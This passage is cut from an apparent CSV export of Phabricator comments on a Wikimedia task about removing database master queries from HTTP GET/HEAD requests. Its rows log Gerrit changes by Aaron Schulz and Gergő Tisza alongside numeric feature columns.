",,,1463585803,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6666666666666665,0.875,"Change 289431 had a related patch set uploaded (by Gergő Tisza):
Fix central logout

[[GERRIT_URL]]
"
664336,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288758 merged by jenkins-bot:
Defer DB update in showEnrollmentView()

[[https://gerrit.wikimedia.org/r/288758]]",,,1463574767,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8181818181818183,0.9090909090909091,"Change 288758 merged by jenkins-bot:
Defer DB update in showEnrollmentView()

[[GERRIT_URL]]"
663909,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289248 merged by jenkins-bot:
Fix central logout

[[https://gerrit.wikimedia.org/r/289248]]",,,1463507670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.611111111111111,0.8888888888888888,"Change 289248 merged by jenkins-bot:
Fix central logout

[[GERRIT_URL]]"
663905,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289248 had a related patch set uploaded (by Gergő Tisza):
Fix central logout

[[https://gerrit.wikimedia.org/r/289248]]
",,,1463507456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6666666666666665,0.875,"Change 289248 had a related patch set uploaded (by Gergő Tisza):
Fix central logout

[[GERRIT_URL]]
"
663902,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289246 abandoned by Gergő Tisza:
Revert ""Avoid DBPerformance log warnings in onUserLogout()""

Reason:
anomie found a fix.

[[https://gerrit.wikimedia.org/r/289246]]",,,1463507391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.823529411764706,0.8235294117647058,"Change 289246 abandoned by Gergő Tisza:
Revert ""Avoid DBPerformance log warnings in onUserLogout()""

Reason:
anomie found a fix.

[[GERRIT_URL]]"
663890,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289246 had a related patch set uploaded (by Gergő Tisza):
Revert ""Avoid DBPerformance log warnings in onUserLogout()""

[[https://gerrit.wikimedia.org/r/289246]]
",,,1463506924,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.90625,0.84375,"Change 289246 had a related patch set uploaded (by Gergő Tisza):
Revert ""Avoid DBPerformance log warnings in onUserLogout()""

[[GERRIT_URL]]
"
663685,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289166 merged by jenkins-bot:
Avoid DBPerformance log warnings in onUserLogout()

[[https://gerrit.wikimedia.org/r/289166]]",,,1463489858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.086956521739131,0.9130434782608695,"Change 289166 merged by jenkins-bot:
Avoid DBPerformance log warnings in onUserLogout()

[[GERRIT_URL]]"
663620,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289166 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance log warnings in onUserLogout()

[[https://gerrit.wikimedia.org/r/289166]]
",,,1463482648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.068965517241379,0.8620689655172413,"Change 289166 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance log warnings in onUserLogout()

[[GERRIT_URL]]
"
663535,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288760 merged by jenkins-bot:
Use DeferredUpdates in queueUpdates()

[[https://gerrit.wikimedia.org/r/288760]]",,,1463475563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9523809523809526,0.9047619047619048,"Change 288760 merged by jenkins-bot:
Use DeferredUpdates in queueUpdates()

[[GERRIT_URL]]"
663104,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288759 merged by jenkins-bot:
Defer DB update in NewUserMessagesView

[[https://gerrit.wikimedia.org/r/288759]]",,,1463425982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.15,0.9,"Change 288759 merged by jenkins-bot:
Defer DB update in NewUserMessagesView

[[GERRIT_URL]]"
662386,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288760 had a related patch set uploaded (by Aaron Schulz):
Use DeferredUpdates in queueUpdates()

[[https://gerrit.wikimedia.org/r/288760]]
",,,1463230469,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.962962962962963,0.8518518518518519,"Change 288760 had a related patch set uploaded (by Aaron Schulz):
Use DeferredUpdates in queueUpdates()

[[GERRIT_URL]]
"
662385,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288759 had a related patch set uploaded (by Aaron Schulz):
Defer DB update in NewUserMessagesView

[[https://gerrit.wikimedia.org/r/288759]]
",,,1463229284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.115384615384615,0.8846153846153846,"Change 288759 had a related patch set uploaded (by Aaron Schulz):
Defer DB update in NewUserMessagesView

[[GERRIT_URL]]
"
662382,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288758 had a related patch set uploaded (by Aaron Schulz):
Defer DB update in showEnrollmentView()

[[https://gerrit.wikimedia.org/r/288758]]
",,,1463229118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8571428571428571,"Change 288758 had a related patch set uploaded (by Aaron Schulz):
Defer DB update in showEnrollmentView()

[[GERRIT_URL]]
"
660039,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287898 merged by jenkins-bot:
Avoid master queries in GET in onProtectionForm()

[[https://gerrit.wikimedia.org/r/287898]]",,,1462934432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.875,"Change 287898 merged by jenkins-bot:
Avoid master queries in GET in onProtectionForm()

[[GERRIT_URL]]"
660003,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287891 merged by jenkins-bot:
Convert the top X reviewers cache to the main stash

[[https://gerrit.wikimedia.org/r/287891]]",,,1462926347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.64,0.88,"Change 287891 merged by jenkins-bot:
Convert the top X reviewers cache to the main stash

[[GERRIT_URL]]"
659381,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287892 merged by jenkins-bot:
Avoid master queries on GET in ProtectionForm

[[https://gerrit.wikimedia.org/r/287892]]",,,1462886387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.9090909090909091,"Change 287892 merged by jenkins-bot:
Avoid master queries on GET in ProtectionForm

[[GERRIT_URL]]"
659351,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287899 merged by jenkins-bot:
Defer DB writes in SpecialNewMessages

[[https://gerrit.wikimedia.org/r/287899]]",,,1462884007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.1,0.9,"Change 287899 merged by jenkins-bot:
Defer DB writes in SpecialNewMessages

[[GERRIT_URL]]"
659202,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287899 had a related patch set uploaded (by Aaron Schulz):
Defer DB writes in SpecialNewMessages

[[https://gerrit.wikimedia.org/r/287899]]
",,,1462860208,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 287899 had a related patch set uploaded (by Aaron Schulz):
Defer DB writes in SpecialNewMessages

[[GERRIT_URL]]
"
659201,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287898 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries in GET in onProtectionForm()

[[https://gerrit.wikimedia.org/r/287898]]
",,,1462859837,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8666666666666667,0.8333333333333334,"Change 287898 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries in GET in onProtectionForm()

[[GERRIT_URL]]
"
659198,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287892 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on GET in ProtectionForm

[[https://gerrit.wikimedia.org/r/287892]]
",,,1462857158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8928571428571429,"Change 287892 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on GET in ProtectionForm

[[GERRIT_URL]]
"
659197,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287891 had a related patch set uploaded (by Aaron Schulz):
Convert the top X reviewers cache to the main stash

[[https://gerrit.wikimedia.org/r/287891]]
",,,1462856611,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7096774193548385,0.8709677419354839,"Change 287891 had a related patch set uploaded (by Aaron Schulz):
Convert the top X reviewers cache to the main stash

[[GERRIT_URL]]
"
654279,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286038 merged by jenkins-bot:
Avoid master queries in getAutoDeleteReason()

[[https://gerrit.wikimedia.org/r/286038]]",,,1461958137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.9090909090909091,"Change 286038 merged by jenkins-bot:
Avoid master queries in getAutoDeleteReason()

[[GERRIT_URL]]"
653822,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286030 merged by jenkins-bot:
Avoid master queries on page views in loadFilterData()

[[https://gerrit.wikimedia.org/r/286030]]",,,1461880665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.84,0.92,"Change 286030 merged by jenkins-bot:
Avoid master queries on page views in loadFilterData()

[[GERRIT_URL]]"
653809,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286065 merged by jenkins-bot:
Avoid DBPerformance log warnings in saveNamespaces()

